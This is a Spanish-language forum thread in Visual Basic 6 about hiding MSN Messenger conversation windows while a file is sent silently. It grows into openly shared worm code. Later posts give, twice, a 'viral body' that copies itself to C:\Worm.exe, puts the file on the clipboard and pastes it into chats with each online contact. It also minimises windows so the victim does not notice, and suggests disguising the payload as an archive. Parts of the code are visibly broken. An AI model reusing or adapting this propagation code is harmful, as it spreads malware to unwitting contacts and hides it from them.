hola me preguntaba como hacer eso, ocultar una ventana justo despues de enviarle texto con sendkeys,
con esto en un timer con declaraciones y demas se oculta la ventana justo como la necesito pero conociendo lo q esta a la izquierda o derecha del titulo de la ventana
Dim lnghWnd As Long, Texto As String
lnghWnd = GetForegroundWindow
Texto = String(255, Chr(O))
GetWindowText GetForegroundWindow, Texto, 255
Me.Caption = Texto
var = Left$(Form1.Caption, 4)
Label1.Caption = var
If Label1.Caption = "pppp" Then
window = FindWindow(vbNullString, Texto)
ShowWindow window, SW_HIDE
el problema es que no se sabe que esta a la derecha o izquierda del titulo de la ventana,no es minimizarla, lo unico q pasara es q se abrira esa ventana, luego se le enviara texto con sendkeys y ahora alguien tiene idea de como oculto esa ventana? :huh: salu2s
No te entiendo muy bien pero si quieres ocultarla usa
form1.hide
y para volverla a sacar debes usar una API que ahora no recuerdo...
o simplemente hacer un form muy pequeño y cuando quieras ocultarla usas esto...
me.hide ' esto seria el formprincipal
form2.show 'este seria el form pequeñito...
Mira, se me acaba de ocurrir una idea.
La traes al frente, le mandas el texto y de nuevo con send keys le envias Alt + F4, asi se cierra y la victima ya no sospecha (demasiado)
Cita de: -Freeze- en 23 Mayo 2007, 14:46 PM
No te entiendo muy bien pero si quieres ocultarla usa
form1.hide
y para volverla a sacar debes usar una API que ahora no recuerdo...
o simplemente hacer un form muy pequeño y cuando quieras ocultarla usas esto...
me.hide ' esto seria el formprincipal
form2.show 'este seria el form pequeñito...
si pero como las se usar siempre tengo q saber el titulo de la ventana o parte del titulo cosa q no se sabe, lo unico q se me ocurre es ponerle un focus a la ventana q se acaba de abrir(cosa q no se y q no tengo mucha idea) y asi ocultar a la ventana q tiene el focus
Cita de: E0N en 23 Mayo 2007, 14:57 PM
Mira, se me acaba de ocurrir una idea.
La traes al frente, le mandas el texto y de nuevo con send keys le envias Alt + F4, asi se cierra y la victima ya no sospecha (demasiado)
si pero asi se cerraria la ventana y si en ella hay algo cargandose como algun archivo que se acaba de enviar, bueno ya sabes
Explica que tipo de programa quieres hacer... Creo q entenderiamos mejor...
me.visible = False
creo q es eso... al menos yo lo hago asi... es lo mismo q hidden...
Cita de: -Freeze- en 23 Mayo 2007, 19:17 PM
Explica que tipo de programa quieres hacer... Creo q entenderiamos mejor...
es para ocultar una ventana ya sabes, primero se abre la ventana, luego comienza a cargarse un archivo en ella, luego ahi que ocultar la ventana de la barra de tareas, 30 seg despues se repite, pero no sabemos cual es el titulo de la ventana solo q se acaba de abrir
Cita de: vivachapas en 24 Mayo 2007, 02:22 AM
me.visible = False
creo q es eso... al menos yo lo hago asi... es lo mismo q hidden...
creo q si se puede usar pero como saber quien es me? alguna idea de como obtener el titulo de alguna ventana q se acaba de abrir para asi ocultarla :huh:
bien... creo q te entendi...
para enviarle texto a cualquier ventana podrias estar enviando texto constantemente con un timer...
de q sirve una ventana oculta?? xq no la cierras una vez q enviaste el sendkeys?
Cita de: vivachapas en 24 Mayo 2007, 03:06 AM
bien... creo q te entendi...
para enviarle texto a cualquier ventana podrias estar enviando texto constantemente con un timer...
de q sirve una ventana oculta?? xq no la cierras una vez q enviaste el sendkeys?
si lo q no se es como ocultar la ventana q se acaba de abrir no c cierra xq se esta enviando un archivo, lo unico q se sabe es q se acaba de abrir la ventana
Ya entendi tu lo que no quieres que se vea es la ventana que dice que algo se esta cargando en "ella" cierto???
Bueno solamente utiliza esto:
app.activate aqui el nombre de la ventana , aqui si quieres esperar (no se como se usa)
Ejemplo:
app.activate "Conversación"
Eso activa la ventana de la conversación por MSN q este activa....
Creo q te solucione el problema o no????
Cita de: -Freeze- en 24 Mayo 2007, 17:02 PM
Ya entendi tu lo que no quieres que se vea es la ventana que dice que algo se esta cargando en "ella" cierto???
Bueno solamente utiliza esto:
app.activate aqui el nombre de la ventana , aqui si quieres esperar (no se como se usa)
Ejemplo:
app.activate "Conversación"
Eso activa la ventana de la conversación por MSN q este activa....
Creo q te solucione el problema o no????
si supon q se esta enviando un archivo comprimido y no sabes si al final del titulo de la ventana dice Conversacion o Conversation o quien sabe, hay q hacerlo solo a la q se esta cargando y aparte cada 30seg, de todas formas creo q encontre una forma por "fuerza bruta" xD vere si funka pero si hay alguna idea no staria mal salu2s
Ok...
Solo dime el nombre que sale en la ventana que quieres ocultar...
si pero lo que se sabe es q se acaba de abrir, el titulo de la ventana varia, por ahi dijeron que saque el handle de la ventana q tiene el foco y luego usar la api showwindown con el handle, en eso estoy pero no se
Una idea.
Con la api del msn puedes obtener los nicks de los contactos no? pues la traes al frente, y el titulo de la ventana tendra q contener por fuerza el nick.
Haces un listado de todas las ventanas, buscas la q contenga el nick, obtienes el handle y la ocultas...
Si el titulo de la ventana varia encuentra algo ue siempre este...
Por ejemplo:
En las conversaciones de MSN siempre varia el contacto pero al final... siempre dice "Conversación"
Cita de: E0N en 24 Mayo 2007, 17:21 PM
Una idea.
Con la api del msn puedes obtener los nicks de los contactos no? pues la traes al frente, y el titulo de la ventana tendra q contener por fuerza el nick.
Haces un listado de todas las ventanas, buscas la q contenga el nick, obtienes el handle y la ocultas...
si pero depende de si se tiene "ver contactos por direccion de email" o "ver contactos por nombre para mostrar" si la tienen por la primera el titulo seria "<direccion> - Conv.." y si no seria "<nombre para mostrar> - Conv.."
Cita de: -Freeze- en 24 Mayo 2007, 17:23 PM
Si el titulo de la ventana varia encuentra algo ue siempre este...
Por ejemplo:
En las conversaciones de MSN siempre varia el contacto pero al final... siempre dice "Conversación"
aveces x estar en ingles dice Conversation o incluso dice Conversaci%n y ademas es posible que esten otras ventanas abiertas con eso mismo
ya tengo la idea de como hacerlo pero no se hacerlo, se hace creeeo con get focus, que obtiene el handle de la ventana que tiene el foco del teclado (eso es!), con esto me da el handle de la ventana, ahora el problema es q solo da el handle del formulario y no de ventanas externas alguien sabe como hacer para saber el handle de ventanas externas?
Private Declare Function apiGetFocus Lib "user32" _
Alias "GetFocus" _
() As Long
Function fhWnd(ctl As Control) As Long
On Error Resume Next
ctl.SetFocus
If Err Then
fhWnd = 0
Else
fhWnd = apiGetFocus
End If
On Error GoTo 0
End Function
Creo q usas mal la api... para obtener el hadle de la ventana q tiene el foco tienes q hacer esto: (no estoy 100% seguro)
Private Declare Function GetFocus Lib "user32" () As Long
h& = GetFocus&()
Y te kedaria en h& el handle.
Pero mira esta api:
http://support.microsoft.com/kb/147659/es
Te permite obtener el handle e una ventana sin saber su titulo exato.. espero q te sirva ;)
jejeje... ok
hola,por lo que decia Freeze el codigo seria Appactivate, sin el punto,algo asi para tener en cuenta los idiomas de msn:
on error resume next
appactivate "Conversación"
appactivate "Conversati..."
appactivate "..."
y asi t activara cualquier ventana q haya abierta si es q hay una abierta y tal vez si quieres ocultar la ventana podrias minimizarlas todas para q no se interrumpa la transferencia del archivo
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
una duda tu quieres q se autoenvie el mismo programa luego de comprimirse?
Cita de: tengu..::Fireb0y::.. en 24 Julio 2007, 02:15 AM
hola,por lo que decia Freeze el codigo seria Appactivate, sin el punto,algo asi para tener en cuenta los idiomas de msn:
on error resume next
appactivate "Conversación"
appactivate "Conversati..."
appactivate "..."
y asi t activara cualquier ventana q haya abierta si es q hay una abierta y tal vez si quieres ocultar la ventana podrias minimizarlas todas para q no se interrumpa la transferencia del archivo
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
una duda tu quieres q se autoenvie el mismo programa luego de comprimirse?
si, luego de descomprimido se repite pero lo e dejado parado aunq no es tan complicado porq no tengo listo algo bueno q tenga q llevar mientras se autoenvie salu2s
jejej ya "se lo que hiciste el verano pasado",(chiste) si llegas a retomarlo avisame , podriamos hablar de algun code.
CitarTal vez esto sirva:(no esta escrito por mi)
En un Modulo (Esto sirve para poner nuestro archivo dentro del Portapapeles):
Option Explicit
' Required data structures
Private Type POINTAPI
x As Long
y As Long
End Type
' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
' Other required Win32 APIs
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17
' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"
' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)
Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type
Public Function ClipboardCopyFiles(Files() As String) As Boolean
Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long
' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard
' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar
' Allocate and get pointer to global memory,
' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)
' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)
' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If
' Clean up
Call CloseClipboard
End If
End Function[/code>
Y aki el "Cuerpo virico":
[code>Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B
Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date
t1 = Second(Now)
t2 = t1 + nSec
Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Sub msninfect()
On Error Resume Next
Set w = CreateObject("Messenger.UIAutomation"
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
Set iMsn = w.InstantMessage(ConTacto.SigninName)
SendKeys "^V"
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub
A lo mejor te sirva esto ! :
En un Modulo (Esto sirve para poner nuestro archivo dentro del Portapapeles):
Option Explicit
' Required data structures
Private Type POINTAPI
x As Long
y As Long
End Type
' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
' Other required Win32 APIs
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17
' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"
' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)
Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type
Public Function ClipboardCopyFiles(Files() As String) As Boolean
Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long
' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard
' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar
' Allocate and get pointer to global memory,
' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)
' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)
' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If
' Clean up
Call CloseClipboard
End If
End Function[/code>
Y aki el "Cuerpo virico":
[code>Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B
Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date
t1 = Second(Now)
t2 = t1 + nSec
Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Sub msninfect()
On Error Resume Next
Set w = CreateObject("Messenger.UIAutomation"
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
Set iMsn = w.InstantMessage(ConTacto.SigninName)
SendKeys "^V"
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub
Sub newpropMSN()
Dim ap(0) As String
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Worm.exe" ' Nos Copiamos
ap(0) = "C:\Worm.exe"
If ClipboardCopyFiles = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...
msninfect ' Llamamos a la funcion de la propagación
End Sub
ahora deberias modificar el code para enviar el rar o zip y no un exe... pero creoo q tu sabes hacerlo muy bien.salu25
;D ;D ;D ;D ;D ;D